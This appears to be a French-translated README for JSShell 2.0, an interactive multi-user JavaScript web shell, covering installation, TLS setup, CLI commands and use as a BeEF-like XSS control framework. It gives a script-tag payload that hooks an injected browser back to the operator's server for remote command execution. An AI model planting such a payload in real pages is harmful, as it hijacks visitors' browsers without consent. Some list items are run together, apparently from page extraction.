
Un shell Web JS interactif multi-utilisateur
Un shell JavaScript interactif multi-utilisateurs basé sur le web. Il a été initialement créé pour déboguer des navigateurs exotiques à distance lors d'expériences et de recherches. Cet outil peut être facilement attaché à des charges utiles XSS (Cross-Site Scripting) pour réaliser une exécution de code à distance dans le navigateur (similaire au framework BeeF).
La version 2.0 est entièrement réécrite, introduisant de nouvelles fonctionnalités passionnantes, de la stabilité et de la maintenabilité.
<script>Dans le répertoire resources, mettez à jour le fichier config.json avec votre configuration souhaitée :
docker, choisissez l'hôte de la base de données comme db (qui est le nom d'hôte interne).shell.js effectue des appels AJAX pour s'enregistrer et interroger les nouvelles commandes. Généralement, ce sera http[s]://{VOTRE_IP_SERVEUR}:{PORT}.JSShell supporte désormais TLS, ce qui signifie que vous pouvez générer des certificats TLS et les fournir au serveur web. Le serveur web déduira le nom de domaine du fichier config.json. Pour créer le certificat, utilisez le script create_cert.py dans le dossier scripts :
$ cd scripts
$ python create_cert.py --domain <VOTRE_DOMAINE> --email <VOTRE_EMAIL>
Veuillez noter que le serveur web doit être arrêté pour que le script fonctionne correctement. À ce stade, nous avons généré avec succès nos certificats ! Les seules modifications nécessaires sont :
config.json, changez le schéma du champ URL en https.docker-compose.yml, modifiez le port exposé du conteneur web en 443.Cette nouvelle version permet d'installer et d'exécuter JSShell via docker et docker-compose. Désormais, pour installer et exécuter l'ensemble du framework JSShell, exécutez simplement :
$ ./scripts/start_docker_shell.sh
Cela va :
JSShellSi vous préférez utiliser la méthode d'installation traditionnelle, assurez-vous simplement d'avoir une base de données MongoDB opérationnelle et mettez à jour le fichier config.json situé dans le répertoire resources.
Je recommande d'utiliser un environnement virtuel avec pyenv :
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv
Ou avec virtualenv :
$ virtualenv -p python3.6 venv
$ source venv/bin/activate
Ensuite, installez les dépendances :
$ pip install -r requirements.txt
Si vous avez utilisé la méthode docker, il n'est pas nécessaire d'exécuter la procédure suivante.
Sinon, une fois la base de données configurée, nous devons démarrer le serveur web API. Pour ce faire, exécutez :
$ python manage.py web
Cela créera et lancera un serveur web qui écoute les connexions entrantes et sert notre code JSShell.
Pour démarrer l'interface en ligne de commande JSShell, exécutez le même script mais avec l'option shell :
$ python manage.py shell
Après l'installation et le lancement des composants nécessaires, entrez la commande help pour voir les commandes disponibles :
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
JSShell prend en charge deux méthodes de fonctionnement :
Similaire à d'autres frameworks de contrôle XSS (comme BeeF), JSShell est capable de gérer des exploitations XSS réussies. Par exemple, si vous pouvez injecter une balise script, injectez la ressource suivante dans votre charge utile, et un nouveau client apparaîtra dans votre console :
<script src="http[s]://{VOTRE_IP_SERVEUR}:{PORT}/content/js"></script>
Si vous souhaitez déboguer des navigateurs exotiques, vous pouvez simplement naviguer vers http[s]://{VOTRE_IP_SERVEUR}:{PORT}/ et un nouveau client apparaîtra dans votre client CLI JSShell. Il sera alors débogable via notre console JSShell.
Canop pour JSON.prune